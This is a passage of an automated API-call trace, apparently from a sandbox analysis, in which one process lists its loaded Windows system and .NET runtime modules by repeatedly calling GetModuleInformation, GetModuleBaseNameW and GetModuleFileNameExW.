nSize=0x800 | out: lpBaseName="ntdll.dll") returned 0x9 [0034.897] CoTaskMemFree (pv=0x9af208) [0034.897] CoTaskMemAlloc (cb=0x804) returned 0x9af208 [0034.897] GetModuleFileNameExW (in: hProcess=0xe4, hModule=0x77bb0000, lpFilename=0x9af208, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\SYSTEM32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")) returned 0x1d [0034.898] CoTaskMemFree (pv=0x9af208) [0034.898] GetModuleInformation (in: hProcess=0xe4, hModule=0x74200000, lpmodinfo=0x259a9c0, cb=0xc | out: lpmodinfo=0x259a9c0*(lpBaseOfDll=0x74200000, SizeOfImage=0x55000, EntryPoint=0x74230a30)) returned 1 [0034.898] CoTaskMemAlloc (cb=0x804) returned 0x9af208 [0034.898] GetModuleBaseNameW (in: hProcess=0xe4, hModule=0x74200000, lpBaseName=0x9af208, nSize=0x800 | out: lpBaseName="MSCOREE.DLL") returned 0xb [0034.898] CoTaskMemFree (pv=0x9af208) [0034.898] CoTaskMemAlloc (cb=0x804) returned 0x9af208 [0034.898] GetModuleFileNameExW (in: hProcess=0xe4, hModule=0x74200000, lpFilename=0x9af208, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\SYSTEM32\\MSCOREE.DLL" (normalized: "c:\\windows\\system32\\mscoree.dll")) returned 0x1f [0034.898] CoTaskMemFree (pv=0x9af208) [0034.898] GetModuleInformation (in: hProcess=0xe4, hModule=0x75e90000, lpmodinfo=0x259cacc, cb=0xc | out: lpmodinfo=0x259cacc*(lpBaseOfDll=0x75e90000, SizeOfImage=0xd0000, EntryPoint=0x75ea06a0)) returned 1 [0034.898] CoTaskMemAlloc (cb=0x804) returned 0x9af208 [0034.898] GetModuleBaseNameW (in: hProcess=0xe4, hModule=0x75e90000, lpBaseName=0x9af208, nSize=0x800 | out: lpBaseName="KERNEL32.dll") returned 0xc [0034.898] CoTaskMemFree (pv=0x9af208) [0034.898] CoTaskMemAlloc (cb=0x804) returned 0x9af208 [0034.898] GetModuleFileNameExW (in: hProcess=0xe4, hModule=0x75e90000, lpFilename=0x9af208, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\KERNEL32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll")) returned 0x20 [0034.898] CoTaskMemFree (pv=0x9af208) [0034.898] GetModuleInformation (in: hProcess=0xe4, hModule=0x74ea0000, lpmodinfo=0x259ebe0, cb=0xc | out: lpmodinfo=0x259ebe0*(lpBaseOfDll=0x74ea0000, SizeOfImage=0x1c2000, EntryPoint=0x74f8ff30)) returned 1 [0034.899] CoTaskMemAlloc (cb=0x804) returned 0x9af208 [0034.899] GetModuleBaseNameW (in: hProcess=0xe4, hModule=0x74ea0000, lpBaseName=0x9af208, nSize=0x800 | out: lpBaseName="KERNELBASE.dll") returned 0xe [0034.899] CoTaskMemFree (pv=0x9af208) [0034.899] CoTaskMemAlloc (cb=0x804) returned 0x9af208 [0034.899] GetModuleFileNameExW (in: hProcess=0xe4, hModule=0x74ea0000, lpFilename=0x9af208, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\KERNELBASE.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll")) returned 0x22 [0034.899] CoTaskMemFree (pv=0x9af208) [0034.899] GetModuleInformation (in: hProcess=0xe4, hModule=0x745d0000, lpmodinfo=0x25a0d28, cb=0xc | out: lpmodinfo=0x25a0d28*(lpBaseOfDll=0x745d0000, SizeOfImage=0x93000, EntryPoint=0x74604270)) returned 1 [0034.899] CoTaskMemAlloc (cb=0x804) returned 0x9af208 [0034.899] GetModuleBaseNameW (in: hProcess=0xe4, hModule=0x745d0000, lpBaseName=0x9af208, nSize=0x800 | out: lpBaseName="apphelp.dll") returned 0xb [0034.899] CoTaskMemFree (pv=0x9af208) [0034.900] CoTaskMemAlloc (cb=0x804) returned 0x9af208 [0034.900] GetModuleFileNameExW (in: hProcess=0xe4, hModule=0x745d0000, lpFilename=0x9af208, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\SYSTEM32\\apphelp.dll" (normalized: "c:\\windows\\system32\\apphelp.dll")) returned 0x1f [0034.900] CoTaskMemFree (pv=0x9af208) [0034.900] GetModuleInformation (in: hProcess=0xe4, hModule=0x761b0000, lpmodinfo=0x25a2e34, cb=0xc | out: lpmodinfo=0x25a2e34*(lpBaseOfDll=0x761b0000, SizeOfImage=0x77000, EntryPoint=0x761ce5b0)) returned 1 [0034.900] CoTaskMemAlloc (cb=0x804) returned 0x9af208 [0034.900] GetModuleBaseNameW (in: hProcess=0xe4, hModule=0x761b0000, lpBaseName=0x9af208, nSize=0x800 | out: lpBaseName="ADVAPI32.dll") returned 0xc [0034.900] CoTaskMemFree (pv=0x9af208) [0034.900] CoTaskMemAlloc (cb=0x804) returned 0x9af208 [0034.900] GetModuleFileNameExW (in: hProcess=0xe4, hModule=0x761b0000, lpFilename=0x9af208, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\ADVAPI32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll")) returned 0x20 [0034.900] CoTaskMemFree (pv=0x9af208) [0034.900] GetModuleInformation (in: hProcess=0xe4, hModule=0x77a30000, lpmodinfo=0x25a4f48, cb=0xc | out: lpmodinfo=0x25a4f48*(lpBaseOfDll=0x77a30000, SizeOfImage=0xbd000, EntryPoint=0x77a655e0)) returned 1 [0034.900] CoTaskMemAlloc (cb=0x804) returned 0x9af208 [0034.900] GetModuleBaseNameW (in: hProcess=0xe4, hModule=0x77a30000, lpBaseName=0x9af208, nSize=0x800 | out: lpBaseName="msvcrt.dll") returned 0xa [0034.900] CoTaskMemFree (pv=0x9af208) [0034.900] CoTaskMemAlloc (cb=0x804) returned 0x9af208 [0034.901] GetModuleFileNameExW (in: hProcess=0xe4, hModule=0x77a30000, lpFilename=0x9af208, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll")) returned 0x1e [0034.901] CoTaskMemFree (pv=0x9af208) [0034.901] GetModuleInformation (in: hProcess=0xe4, hModule=0x75fb0000, lpmodinfo=0x25a7054, cb=0xc | out: lpmodinfo=0x25a7054*(lpBaseOfDll=0x75fb0000, SizeOfImage=0x41000, EntryPoint=0x75fc3400)) returned 1 [0034.901] CoTaskMemAlloc (cb=0x804) returned 0x9af208 [0034.901] GetModuleBaseNameW (in: hProcess=0xe4, hModule=0x75fb0000, lpBaseName=0x9af208, nSize=0x800 | out: lpBaseName="sechost.dll") returned 0xb [0034.901] CoTaskMemFree (pv=0x9af208) [0034.901] CoTaskMemAlloc (cb=0x804) returned 0x9af208 [0034.901] GetModuleFileNameExW (in: hProcess=0xe4, hModule=0x75fb0000, lpFilename=0x9af208, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll")) returned 0x1f [0034.901] CoTaskMemFree (pv=0x9af208) [0034.901] GetModuleInformation (in: hProcess=0xe4, hModule=0x74710000, lpmodinfo=0x25a91ac, cb=0xc | out: lpmodinfo=0x25a91ac*(lpBaseOfDll=0x74710000, SizeOfImage=0xc0000, EntryPoint=0x7473fb20)) returned 1 [0034.901] CoTaskMemAlloc (cb=0x804) returned 0x9af208 [0034.901] GetModuleBaseNameW (in: hProcess=0xe4, hModule=0x74710000, lpBaseName=0x9af208, nSize=0x800 | out: lpBaseName="RPCRT4.dll") returned 0xa [0034.901] CoTaskMemFree (pv=0x9af208) [0034.901] CoTaskMemAlloc (cb=0x804) returned 0x9af208 [0034.901] GetModuleFileNameExW (in: hProcess=0xe4, hModule=0x74710000, lpFilename=0x9af208, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\RPCRT4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll")) returned 0x1e [0034.902] CoTaskMemFree (pv=0x9af208) [0034.902] GetModuleInformation (in: hProcess=0xe4, hModule=0x74680000, lpmodinfo=0x25ab2b8, cb=0xc | out: lpmodinfo=0x25ab2b8*(lpBaseOfDll=0x74680000, SizeOfImage=0x20000, EntryPoint=0x7468c9a0)) returned 1 [0034.902] CoTaskMemAlloc (cb=0x804) returned 0x9af208 [0034.902] GetModuleBaseNameW (in: hProcess=0xe4, hModule=0x74680000, lpBaseName=0x9af208, nSize=0x800 | out: lpBaseName="SspiCli.dll") returned 0xb [0034.902] CoTaskMemFree (pv=0x9af208) [0034.902] CoTaskMemAlloc (cb=0x804) returned 0x9af208 [0034.902] GetModuleFileNameExW (in: hProcess=0xe4, hModule=0x74680000, lpFilename=0x9af208, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\SspiCli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll")) returned 0x1f [0034.902] CoTaskMemFree (pv=0x9af208) [0034.902] GetModuleInformation (in: hProcess=0xe4, hModule=0x74670000, lpmodinfo=0x25ad3c4, cb=0xc | out: lpmodinfo=0x25ad3c4*(lpBaseOfDll=0x74670000, SizeOfImage=0xa000, EntryPoint=0x74672a00)) returned 1 [0034.902] CoTaskMemAlloc (cb=0x804) returned 0x9af208 [0034.902] GetModuleBaseNameW (in: hProcess=0xe4, hModule=0x74670000, lpBaseName=0x9af208, nSize=0x800 | out: lpBaseName="CRYPTBASE.dll") returned 0xd [0034.902] CoTaskMemFree (pv=0x9af208) [0034.902] CoTaskMemAlloc (cb=0x804) returned 0x9af208 [0034.902] GetModuleFileNameExW (in: hProcess=0xe4, hModule=0x74670000, lpFilename=0x9af208, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\CRYPTBASE.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll")) returned 0x21 [0034.902] CoTaskMemFree (pv=0x9af208) [0034.902] GetModuleInformation (in: hProcess=0xe4, hModule=0x74da0000, lpmodinfo=0x25af4d8, cb=0xc | out: lpmodinfo=0x25af4d8*(lpBaseOfDll=0x74da0000, SizeOfImage=0x57000, EntryPoint=0x74ddde40)) returned 1 [0034.902] CoTaskMemAlloc (cb=0x804) returned 0x9af208 [0034.903] GetModuleBaseNameW (in: hProcess=0xe4, hModule=0x74da0000, lpBaseName=0x9af208, nSize=0x800 | out: lpBaseName="bcryptPrimitives.dll") returned 0x14 [0034.903] CoTaskMemFree (pv=0x9af208) [0034.903] CoTaskMemAlloc (cb=0x804) returned 0x9af208 [0034.903] GetModuleFileNameExW (in: hProcess=0xe4, hModule=0x74da0000, lpFilename=0x9af208, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\bcryptPrimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll")) returned 0x28 [0034.903] CoTaskMemFree (pv=0x9af208) [0034.903] GetModuleInformation (in: hProcess=0xe4, hModule=0x74180000, lpmodinfo=0x25b160c, cb=0xc | out: lpmodinfo=0x25b160c*(lpBaseOfDll=0x74180000, SizeOfImage=0x7d000, EntryPoint=0x74183c80)) returned 1 [0034.903] CoTaskMemAlloc (cb=0x804) returned 0x9af208 [0034.903] GetModuleBaseNameW (in: hProcess=0xe4, hModule=0x74180000, lpBaseName=0x9af208, nSize=0x800 | out: lpBaseName="mscoreei.dll") returned 0xc [0034.903] CoTaskMemFree (pv=0x9af208) [0034.903] CoTaskMemAlloc (cb=0x804) returned 0x9af208 [0034.903] GetModuleFileNameExW (in: hProcess=0xe4, hModule=0x74180000, lpFilename=0x9af208, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\mscoreei.dll")) returned 0x3a [0034.903] CoTaskMemFree (pv=0x9af208) [0034.904] GetModuleInformation (in: hProcess=0xe4, hModule=0x75f60000, lpmodinfo=0x25b3754, cb=0xc | out: lpmodinfo=0x25b3754*(lpBaseOfDll=0x75f60000, SizeOfImage=0x45000, EntryPoint=0x75f79260)) returned 1 [0034.904] CoTaskMemAlloc (cb=0x804) returned 0x9af208 [0034.904] GetModuleBaseNameW (in: hProcess=0xe4, hModule=0x75f60000, lpBaseName=0x9af208, nSize=0x800 | out: lpBaseName="SHLWAPI.dll") returned 0xb [0034.904] CoTaskMemFree (pv=0x9af208) [0034.904] CoTaskMemAlloc (cb=0x804) returned 0x9af208 [0034.904] GetModuleFileNameExW (in: hProcess=0xe4, hModule=0x75f60000, lpFilename=0x9af208, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\SHLWAPI.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll")) returned 0x1f [0034.904] CoTaskMemFree (pv=0x9af208) [0034.904] GetModuleInformation (in: hProcess=0xe4, hModule=0x75c50000, lpmodinfo=0x25b5860, cb=0xc | out: lpmodinfo=0x25b5860*(lpBaseOfDll=0x75c50000, SizeOfImage=0x238000, EntryPoint=0x75d6e060)) returned 1 [0034.904] CoTaskMemAlloc (cb=0x804) returned 0x9af208 [0034.904] GetModuleBaseNameW (in: hProcess=0xe4, hModule=0x75c50000, lpBaseName=0x9af208, nSize=0x800 | out: lpBaseName="combase.dll") returned 0xb [0034.904] CoTaskMemFree (pv=0x9af208) [0034.904] CoTaskMemAlloc (cb=0x804) returned 0x9af208 [0034.904] GetModuleFileNameExW (in: hProcess=0xe4, hModule=0x75c50000, lpFilename=0x9af208, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll")) returned 0x1f [0034.904] CoTaskMemFree (pv=0x9af208) [0034.904] GetModuleInformation (in: hProcess=0xe4, hModule=0x76000000, lpmodinfo=0x25b796c, cb=0xc | out: lpmodinfo=0x25b796c*(lpBaseOfDll=0x76000000, SizeOfImage=0x118000, EntryPoint=0x7602a3c0)) returned 1 [0034.905] CoTaskMemAlloc (cb=0x804) returned 0x9af208 [0034.905] GetModuleBaseNameW (in: hProcess=0xe4, hModule=0x76000000, lpBaseName=0x9af208, nSize=0x800 | out: lpBaseName="ucrtbase.dll") returned 0xc [0034.905] CoTaskMemFree (pv=0x9af208) [0034.905] CoTaskMemAlloc (cb=0x804) returned 0x9af208 [0034.905] GetModuleFileNameExW (in: hProcess=0xe4, hModule=0x76000000, lpFilename=0x9af208, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\ucrtbase.dll" (normalized: "c:\\windows\\system32\\ucrtbase.dll")) returned 0x20 [0034.905] CoTaskMemFree (pv=0x9af208) [0034.905] GetModuleInformation (in: hProcess=0xe4, hModule=0x75b70000, lpmodinfo=0x25b9b0c, cb=0xc | out: lpmodinfo=0x25b9b0c*(lpBaseOfDll=0x75b70000, SizeOfImage=0x21000, EntryPoint=0x75b76900)) returned 1 [0034.905] CoTaskMemAlloc (cb=0x804) returned 0x9af208 [0034.905] GetModuleBaseNameW (in: hProcess=0xe4, hModule=0x75b70000, lpBaseName=0x9af208, nSize=0x800 | out: lpBaseName="GDI32.dll") returned 0x9 [0034.905] CoTaskMemFree (pv=0x9af208) [0034.905] CoTaskMemAlloc (cb=0x804) returned 0x9af208 [0034.905] GetModuleFileNameExW (in: hProcess=0xe4, hModule=0x75b70000, lpFilename=0x9af208, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\GDI32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll")) returned 0x1d [0034.906] CoTaskMemFree (pv=0x9af208) [0034.906] GetModuleInformation (in: hProcess=0xe4, hModule=0x76290000, lpmodinfo=0x25bbc10, cb=0xc | out: lpmodinfo=0x25bbc10*(lpBaseOfDll=0x76290000, SizeOfImage=0x158000, EntryPoint=0x7634a9c0)) returned 1 [0034.906] CoTaskMemAlloc (cb=0x804) returned 0x9af208 [0034.906] GetModuleBaseNameW (in: hProcess=0xe4, hModule=0x76290000, lpBaseName=0x9af208, nSize=0x800 | out: lpBaseName="gdi32full.dll") returned 0xd [0034.906] CoTaskMemFree (pv=0x9af208) [0034.906] CoTaskMemAlloc (cb=0x804) returned 0x9af208 [0034.906] GetModuleFileNameExW (in: hProcess=0xe4, hModule=0x76290000, lpFilename=0x9af208, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\gdi32full.dll" (normalized: "c:\\windows\\system32\\gdi32full.dll")) returned 0x21 [0034.906] CoTaskMemFree (pv=0x9af208) [0034.906] GetModuleInformation (in: hProcess=0xe4, hModule=0x77b30000, lpmodinfo=0x25bdd24, cb=0xc | out: lpmodinfo=0x25bdd24*(lpBaseOfDll=0x77b30000, SizeOfImage=0x79000, EntryPoint=0x77b44180)) returned 1 [0034.906] CoTaskMemAlloc (cb=0x804) returned 0x9af208 [0034.906] GetModuleBaseNameW (in: hProcess=0xe4, hModule=0x77b30000, lpBaseName=0x9af208, nSize=0x800 | out: lpBaseName="msvcp_win.dll") returned 0xd [0034.907] CoTaskMemFree (pv=0x9af208) [0034.907] CoTaskMemAlloc (cb=0x804) returned 0x9af208 [0034.907] GetModuleFileNameExW (in: hProcess=0xe4, hModule=0x77b30000, lpFilename=0x9af208, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\msvcp_win.dll" (normalized: "c:\\windows\\system32\\msvcp_win.dll")) returned 0x21 [0034.907] CoTaskMemFree (pv=0x9af208) [0034.907] GetModuleInformation (in: hProcess=0xe4, hModule=0x74b70000, lpmodinfo=0x25bfe38, cb=0xc | out: lpmodinfo=0x25bfe38*(lpBaseOfDll=0x74b70000, SizeOfImage=0x13c000, EntryPoint=0x74b9b3d0)) returned 1 [0034.907] CoTaskMemAlloc (cb=0x804) returned 0x9af208 [0034.907] GetModuleBaseNameW (in: hProcess=0xe4, hModule=0x74b70000, lpBaseName=0x9af208, nSize=0x800 | out: lpBaseName="USER32.dll") returned 0xa [0034.907] CoTaskMemFree (pv=0x9af208) [0034.907] CoTaskMemAlloc (cb=0x804) returned 0x9af208 [0034.907] GetModuleFileNameExW (in: hProcess=0xe4, hModule=0x74b70000, lpFilename=0x9af208, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\USER32.dll" (normalized: "c:\\windows\\system32\\user32.dll")) returned 0x1e [0034.907] CoTaskMemFree (pv=0x9af208) [0034.907] GetModuleInformation (in: hProcess=0xe4, hModule=0x74ac0000, lpmodinfo=0x25c1f44, cb=0xc | out: lpmodinfo=0x25c1f44*(lpBaseOfDll=0x74ac0000, SizeOfImage=0x16000, EntryPoint=0x0)) returned 1 [0034.908] CoTaskMemAlloc (cb=0x804) returned 0x9af208 [0034.908] GetModuleBaseNameW (in: hProcess=0xe4, hModule=0x74ac0000, lpBaseName=0x9af208, nSize=0x800 | out: lpBaseName="win32u.dll") returned 0xa [0034.908] CoTaskMemFree (pv=0x9af208) [0034.908] CoTaskMemAlloc (cb=0x804) returned 0x9af208 [0034.908] GetModuleFileNameExW (in: hProcess=0xe4, hModule=0x74ac0000, lpFilename=0x9af208, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\win32u.dll" (normalized: "c:\\windows\\system32\\win32u.dll")) returned 0x1e [0034.908] CoTaskMemFree (pv=0x9af208) [0034.908] GetModuleInformation (in: hProcess=0xe4, hModule=0x74e20000, lpmodinfo=0x25c4050, cb=0xc | out: lpmodinfo=0x25c4050*(lpBaseOfDll=0x74e20000, SizeOfImage=0x25000, EntryPoint=0x74e247d0)) returned 1 [0034.908] CoTaskMemAlloc (cb=0x804) returned 0x9af208 [0034.908] GetModuleBaseNameW (in: hProcess=0xe4, hModule=0x74e20000, lpBaseName=0x9af208, nSize=0x800 | out: lpBaseName="IMM32.DLL") returned 0x9 [0034.908] CoTaskMemFree (pv=0x9af208) [0034.908] CoTaskMemAlloc (cb=0x804) returned 0x9af208 [0034.908] GetModuleFileNameExW (in: hProcess=0xe4, hModule=0x74e20000, lpFilename=0x9af208, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\IMM32.DLL" (normalized: "c:\\windows\\system32\\imm32.dll")) returned 0x1d [0034.908] CoTaskMemFree (pv=0x9af208) [0034.908] GetModuleInformation (in: hProcess=0xe4, hModule=0x75ba0000, lpmodinfo=0x25c6154, cb=0xc | out: lpmodinfo=0x25c6154*(lpBaseOfDll=0x75ba0000, SizeOfImage=0xe000, EntryPoint=0x75ba3e30)) returned 1 [0034.909] CoTaskMemAlloc (cb=0x804) returned 0x9af208 [0034.909] GetModuleBaseNameW (in: hProcess=0xe4, hModule=0x75ba0000, lpBaseName=0x9af208, nSize=0x800 | out: lpBaseName="kernel.appcore.dll") returned 0x12 [0034.909] CoTaskMemFree (pv=0x9af208) [0034.909] CoTaskMemAlloc (cb=0x804) returned 0x9af208 [0034.909] GetModuleFileNameExW (in: hProcess=0xe4, hModule=0x75ba0000, lpFilename=0x9af208, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll")) returned 0x26 [0034.909] CoTaskMemFree (pv=0x9af208) [0034.909] GetModuleInformation (in: hProcess=0xe4, hModule=0x74170000, lpmodinfo=0x25c8280, cb=0xc | out: lpmodinfo=0x25c8280*(lpBaseOfDll=0x74170000, SizeOfImage=0x8000, EntryPoint=0x741717c0)) returned 1 [0034.909] CoTaskMemAlloc (cb=0x804) returned 0x9af208 [0034.909] GetModuleBaseNameW (in: hProcess=0xe4, hModule=0x74170000, lpBaseName=0x9af208, nSize=0x800 | out: lpBaseName="VERSION.dll") returned 0xb [0034.909] CoTaskMemFree (pv=0x9af208) [0034.909] CoTaskMemAlloc (cb=0x804) returned 0x9af208 [0034.909] GetModuleFileNameExW (in: hProcess=0xe4, hModule=0x74170000, lpFilename=0x9af208, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\SYSTEM32\\VERSION.dll" (normalized: "c:\\windows\\system32\\version.dll")) returned 0x1f [0034.909] CoTaskMemFree (pv=0x9af208) [0034.909] GetModuleInformation (in: hProcess=0xe4, hModule=0x73a80000, lpmodinfo=0x25ca38c, cb=0xc | out: lpmodinfo=0x25ca38c*(lpBaseOfDll=0x73a80000, SizeOfImage=0x6e6000, EntryPoint=0x73a983d0)) returned 1 [0034.909] CoTaskMemAlloc (cb=0x804) returned 0x9af208 [0034.909] GetModuleBaseNameW (in: hProcess=0xe4, hModule=0x73a80000, lpBaseName=0x9af208, nSize=0x800 | out: lpBaseName="clr.dll") returned 0x7 [0034.910] CoTaskMemFree (pv=0x9af208) [0034.910] CoTaskMemAlloc (cb=0x804) returned 0x9af208 [0034.910] GetModuleFileNameExW (in: hProcess=0xe4, hModule=0x73a80000, lpFilename=0x9af208, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clr.dll")) returned 0x35 [0034.910] CoTaskMemFree (pv=0x9af208) [0034.910] GetModuleInformation (in: hProcess=0xe4, hModule=0x73980000, lpmodinfo=0x25cc4bc, cb=0xc | out: lpmodinfo=0x25cc4bc*(lpBaseOfDll=0x73980000, SizeOfImage=0xf5000, EntryPoint=0x739d4180)) returned 1 [0034.910] CoTaskMemAlloc (cb=0x804) returned 0x9af208 [0034.910] GetModuleBaseNameW (in: hProcess=0xe4, hModule=0x73980000, lpBaseName=0x9af208, nSize=0x800 | out: lpBaseName="MSVCR120_CLR0400.dll") returned 0x14 [0034.910] CoTaskMemFree (pv=0x9af208) [0034.910] CoTaskMemAlloc (cb=0x804) returned 0x9af208 [0034.910] GetModuleFileNameExW (in: hProcess=0xe4, hModule=0x73980000, lpFilename=0x9af208, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\SYSTEM32\\MSVCR120_CLR0400.dll" (normalized: "c:\\windows\\system32\\msvcr120_clr0400.dll")) returned 0x28 [0034.910] CoTaskMemFree (pv=0x9af208) [0034.910] GetModuleInformation (in: hProcess=0xe4, hModule=0x725f0000, lpmodinfo=0x25ce5f0, cb=0xc | out: lpmodinfo=0x25ce5f0*(lpBaseOfDll=0x725f0000, SizeOfImage=0x138d000, EntryPoint=0x0)) returned 1 [0034.910] CoTaskMemAlloc (cb=0x804) returned 0x9af208 [0034.910] GetModuleBaseNameW (in: hProcess=0xe4, hModule=0x725f0000, lpBaseName=0x9af208, nSize=0x800 | out: lpBaseName="mscorlib.ni.dll") returned 0xf [0034.911] CoTaskMemFree (pv=0x9af208) [0034.911] CoTaskMemAlloc (cb=0x804) returned 0x9af208 [0034.911] GetModuleFileNameExW (in: hProcess=0xe4, hModule=0x725f0000, lpFilename=0x9af208, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\f12799647dc4f4abd2f0f17790337f04\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\mscorlib\\f12799647dc4f4abd2f0f17790337f04\\mscorlib.ni.dll")) returned 0x68 [0034.911] CoTaskMemFree (pv=0x9af208) [0034.911] GetModuleInformation (in: hProcess=0xe4, hModule=0x77920000, lpmodinfo=0x25d0798, cb=0xc | out: lpmodinfo=0x25d0798*(lpBaseOfDll=0x77920000, SizeOfImage=0xf3000, EntryPoint=0x7795a100)) returned 1 [0034.911] CoTaskMemAlloc (cb=0x804) returned 0x9af208 [0034.911] GetModuleBaseNameW (in: hProcess=0xe4, hModule=0x77920000, lpBaseName=0x9af208, nSize=0x800 | out: lpBaseName="ole32.dll") returned 0x9 [0034.911] CoTaskMemFree (pv=0x9af208) [0034.911] CoTaskMemAlloc (cb=0x804) returned 0x9af208 [0034.911] GetModuleFileNameExW (in: hProcess=0xe4, hModule=0x77920000, lpFilename=0x9af208, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll")) returned 0x1d [0034.911] CoTaskMemFree (pv=0x9af208) [0034.911] GetModuleInformation (in: hProcess=0xe4, hModule=0x74550000, lpmodinfo=0x25d289c, cb=0xc | out: lpmodinfo=0x25d289c*(lpBaseOfDll=0x74550000, SizeOfImage=0x78000, EntryPoint=0x745885b0)) returned 1 [0034.911] CoTaskMemAlloc (cb=0x804) returned 0x9af208 [0034.911] GetModuleBaseNameW (in: hProcess=0xe4, hModule=0x74550000, lpBaseName=0x9af208, nSize=0x800 | out: lpBaseName="uxtheme.dll") returned 0xb [0034.912] CoTaskMemFree (pv=0x9af208) [0034.912] CoTaskMemAlloc (cb=0x804) returned 0x9af208 [0034.912] GetModuleFileNameExW (in: hProcess=0xe4, hModule=0x74550000, lpFilename=0x9af208, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\system32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")) returned 0x1f [0034.912] CoTaskMemFree (pv=0x9af208) [0034.912] GetModuleInformation (in: hProcess=0xe4, hModule=0x74330000, lpmodinfo=0x25d49a8, cb=0xc | out: lpmodinfo=0x25d49a8*(lpBaseOfDll=0x74330000, SizeOfImage=0x80000, EntryPoint=0x74331180)) returned 1 [0034.912] CoTaskMemAlloc (cb=0x804) returned 0x9af208 [0034.912] GetModuleBaseNameW (in: hProcess=0xe4, hModule=0x74330000, lpBaseName=0x9af208, nSize=0x800 | out: lpBaseName="clrjit.dll") returned 0xa [0034.912] CoTaskMemFree (pv=0x9af208) [0034.912] CoTaskMemAlloc (cb=0x804) returned 0x9af208 [0034.912] GetModuleFileNameExW (in: hProcess=0xe4, hModule=0x74330000, lpFilename=0x9af208, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clrjit.dll")) returned 0x38 [0034.912] CoTaskMemFree (pv=0x9af208) [0034.912] GetModuleInformation (in: hProcess=0xe4, hModule=0x75bb0000, lpmodinfo=0x25d6ae8, cb=0xc | out: lpmodinfo=0x25d6ae8*(lpBaseOfDll=0x75bb0000, SizeOfImage=0x96000, EntryPoint=0x75be8f60)) returned 1 [0034.912] CoTaskMemAlloc (cb=0x804) returned 0x9af208 [0034.912] GetModuleBaseNameW (in: hProcess=0xe4, hModule=0x75bb0000, lpBaseName=0x9af208, nSize=0x800 | out: lpBaseName="OLEAUT32.dll") returned 0xc [0034.913] CoTaskMemFree (pv=0x9af208) [0034.913] CoTaskMemAlloc (cb=0x804) returned 0x9af208 [0034.913] GetModuleFileNameExW (in: hProcess=0xe4, hModule=0x75bb0000, lpFilename=0x9af208, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\System32\\OLEAUT32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll")) returned 0x20 [0034.913] CoTaskMemFree (pv=0x9af208) [0034.913] GetModuleInformation (in: hProcess=0xe4, hModule=0x71c10000, lpmodinfo=0x25d8bfc, cb=0xc | out: lpmodinfo=0x25d8bfc*(lpBaseOfDll=0x71c10000, SizeOfImage=0x9df000, EntryPoint=0x0)) returned 1 [0034.913] CoTaskMemAlloc (cb=0x804) returned 0x9af208 [0034.913] GetModuleBaseNameW (in: hProcess=0xe4, hModule=0x71c10000, lpBaseName=0x9af208, nSize=0x800 | out: lpBaseName="System.ni.dll") returned 0xd [0034.913] CoTaskMemFree (pv=0x9af208) [0034.913] CoTaskMemAlloc (cb=0x804) returned 0x9af208 [0034.913] GetModuleFileNameExW (in: hProcess=0xe4, hModule=0x71c10000, lpFilename=0x9af208, nSize=0x800 | out: lpFilename="C:\\WINDOWS\\assembly\\NativeImages_v4.0.30319_32\\System\\fcfb8bac8ea9a0e69d72c350b22f8e3f\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system\\fcfb8bac8ea9a0e69d72c350b22f8e3f\\system.ni.dll")) returned 0x64 [0034.913] CoTaskMemFree (pv=0x9af208) [0034.913] 